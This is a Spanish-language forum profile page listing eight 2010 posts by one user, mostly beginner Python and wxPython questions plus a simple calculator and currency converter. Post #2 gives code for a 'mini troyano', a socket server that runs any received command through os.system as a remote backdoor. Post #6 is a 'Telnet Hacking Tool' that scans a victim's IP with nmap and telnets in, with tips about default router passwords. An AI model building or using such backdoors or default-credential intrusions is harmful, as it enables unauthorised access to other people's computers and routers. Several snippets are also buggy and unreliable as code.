Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - .:Swik:.

#1
Scripting / Ayuda [wxPython]
27 Junio 2010, 00:37 AM
Buenas a tod@s. Tengo un problema y es que no se poner una imagen en el frame principal. He googleado y he encontrado el code pero al ponerlo no me sale :S. Aqui os lo dejo:

Código (python) [Seleccionar]
import wx

class Tro(wx.Frame):
    def __init__(self):
        wx.Frame.__init__(self, parent=None, title='Tituloooo', size=(1920,1200))
        self.pnl = wx.Panel(self, id=-1, pos=DefaultPosition, size=(1920,1200))
        img = wx.Image("PythonPowered.gif", type=wx.BITMAP_TYPE_GIF, index=-1).ConvertToBitmap()
        pic = wx.StaticBitmap(self.pnl, -1, img)




class App(wx.App):
    def OnInit(self):
        frame = Tro()
        frame.Show()
        self.SetTopWindow(frame)
        return True

if __name__ == '__main__':
    app = App()
    app.MainLoop()
#2
Scripting / [Python] Ayuda con mini troyano
6 Junio 2010, 17:49 PM
Hola a todos. Estoy intentanto hacer un minitroyano en python pero no se conecta. El caso es que si lo hago en local si me sale. Aqui os dejo el code:

Cliente.py

Código (python) [Seleccionar]
import socket


Host = 'XXXXXXXXX'
Port = 9999
Connection = (Host, Port) #Juntamos el Host y el Puerto en una tupla

TCP_Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Definimos el tipo de Socket, TCP
TCP_Socket.connect(Connection) #Nos connectamos al Host y Puerto de la variable Connection

while 1:
    comando = raw_input('>>> ')
    TCP_Socket.send(comando)
    if comando == 'exit':
        break


server
Código (python) [Seleccionar]
import socket as sc
from os import system as sys

server = sc.socket(sc.AF_INET, sc.SOCK_STREAM)
server.bind(('', 9999))
server.listen(1)

while 1:
    socket_cliente, datos_cliente = server.accept()
    seguir = True
    while seguir:
        peticion = socket_cliente.recv(XXXXXXX)
        if peticion == 'exit':
            socket_cliente.close()
            seguir = False
        else:
            socket_cliente.send(sys('%s' % peticion))
    break
#3
Scripting / Boton ayuda [wxPython]
26 Mayo 2010, 14:39 PM
Hola a tod@s.

Tengo hecho un programilla y quiero poner un boton de ayuda que seria este:

Código (python) [Seleccionar]
self.btnAyuda = wx.Button(self, label='Ayuda', pos=(200,85), size=(60, 30))
       self.Bind(wx.EVT_BUTTON, self.ayud, self.btnAyuda)


y quiero que cuando apriete el boton muestre un texto estatico y cree su respectiva funcion.

Código (python) [Seleccionar]
def ayud(self, event):
       wx.StaticText(self, label='blablabla...' pos=(10, 30))


asi estaria bien?
porque no me va

EDITO: ya se cual es el error, me faltaba una ,
#4
Diseño Gráfico / Ayuda con capas
21 Mayo 2010, 17:56 PM
Hola a tod@s.

Vereis, tengo una imagen con tres capas de texto en el ps. El caso es que quiero ponerle a una capa de texto las propiedades de la otra y me gustaria saber si hay algun procedimiento o algo para hacerlo (que no sea manual)
#5
El caso es que estoy traspasando un programilla que hice a wxpython. El problema es que tengo hecho el code pero me da error en la linea 20 en negativa = ... y no se que es. Si me pudierais ayudar...

Aqui os dejo el code:

Código (python) [Seleccionar]
import wx
import math

class Herr(wx.Frame):

 def __init__(self):
   wx.Frame.__init__(self, parent=None, title='Ecuaciones 2 grado')
   
   self.btnCalcular = wx.Button(self, label='Calcular', pos=(20, 180), size=(60, 30))
   
   self.a = wx.TextCtrl(self, pos=(20,45), size=(60,20))
   self.b = wx.TextCtrl(self, pos=(20,70), size=(60,20))
   self.c = wx.TextCtrl(self, pos=(20,95), size=(60,20))
   self.d = wx.TextCtrl(self, pos=(20,120), size=(60,20))
   self.e = wx.TextCtrl(self, pos=(20,145), size=(60,20))
   self.Bind(wx.EVT_BTN, self.ecuacion, self.btnCalcular)
   
def ecuacion(self, event):
   try:
       a = self.a.GetValue()
       b = self.b.GetValue()
       c = self.c.GetValue()
           
       positiva = self.d.SetValue((-b + math.sqrt(b*b - 4*a*c))/(2*a))
       negativa = self.e.SetValue((-b - math.sqrt(b*b - 4*a*c))/(2*a))        
   

   except:
       positiva = self.d.SetValue('Sin solucion')
       negativa = self.e.SetValue('Sin solucion')  
   
   

   
   

class App(wx.App):
   def OnInit(self):
       frame = Herr()
       frame.Show()
       self.SetTopWindow(frame)
       return True

   
if __name__ == '__main__':
   app = App()
   app.MainLoop()
#6
Scripting / Telnet Tool by swik [Python]
4 Mayo 2010, 15:22 PM
Aqui os dejo esta pequeña tool que hice para hacer telnet a una ip. Primero la escanea, y luego le hace telnet  ;D. Es algo antiguo pero bueno

Código (python) [Seleccionar]
print '-------------------------------------'
print '-------------------------------------'
print '--------Telnet Hacking Tool----------'
print '-------------by swik-----------------'
print '-------------------------------------'
print '-------------------------------------'

print ''


print '-Para hacer el ataque con exito, es necesario que la victima'
print ''
print '-Tenga el port 23 abierto'
print ''
print '-Teclee la ip de la victima y presione enter'
print ''
print '-El usuario y pass por defecto es admin-admin'
print ''
print '-La pag que se ha abierto contiene el user y pass de algunos routers'
print ''
print '-Primero el programa escanea la ip y luego le hace telnet'

import os

os.system("color a")
victima = raw_input('ip victima: ')
escan = os.system("nmap %s" % victima)
os.system("start http://phenoelit-us.org/dpl/dpl.html")
os.system("telnet %s" % victima)
os.system("color c")
#7
Scripting / Calculadora básica by swik
17 Abril 2010, 16:45 PM
Aqui os dejo otro pequeño programa basico (una calculadora)  :)

import math

print "n %%_________Calculadora_______%%"
print "n %%__________by swik__________%%"


#Calculadora Basica by swik
salir = 'no'






#elegir la operacion
print 'escoge una opcion: '
print '(+)'
print '(-)'
print '(/)'
print '(*)'
print '(^)'

operacion = raw_input ('teclea la operacion a usar, y luego presiona enter: ')
numeroA = float (raw_input('Tecle un numero: '))
numeroB = float (raw_input('Teclea otro numero: '))

if operacion == '+': #realiza operacion de suma
resultado = numeroA + numeroB

if operacion == '-': #realiza la operacion de resta
resultado = numeroA - numeroB

if operacion == '/': #realiza la operacion dividir
resultado = numeroA / numeroB

if operacion == '*': #realiza la operacion multiplicar
resultado = numeroA * numeroB

if operacion == '^': #realiza la operacion elevar
resultado = numeroA ** numeroB

print resultado
raw_input ()
#8
Primero Hola a todos. Soy "nuevo" ya que llevo tiempo registrado lo que pasa es que nunca posteo.Veo que hay mucha informacion interesante y quiza me vean por aqui  ;D. Bueno aqui os dejo este pequeño conversor. Es muy básico  :P

print '%%~~~~~~~~~~~~~~Conversor~~~~~~~~~~%%'
print '%%~~~~~~~~~~~~~~~~by swik~~~~~~~~~~%%'

def conversor():


   print 'Escoja una opcion'

   print '1 euros a pesetas'
   print '2 pesetas a euros'
   print '3 euros a dolares'
   print '4 dolares a euros'
   print '(1)'
   print '(2)'
   print '(3)'
   print '(4)'

   operacion = raw_input('Teclee la opcion: ')
   num = float(raw_input('Teclee la cifra: '))
       
   if operacion == '1':
       resultado = num * 166
   if operacion == '2':
          resultado = num / 166
   if operacion == '3':
          resultado = num * 1.3647
   if operacion == '4':
          resultado = num / 1.3647


   print resultado
   conversor()
conversor()


Saludos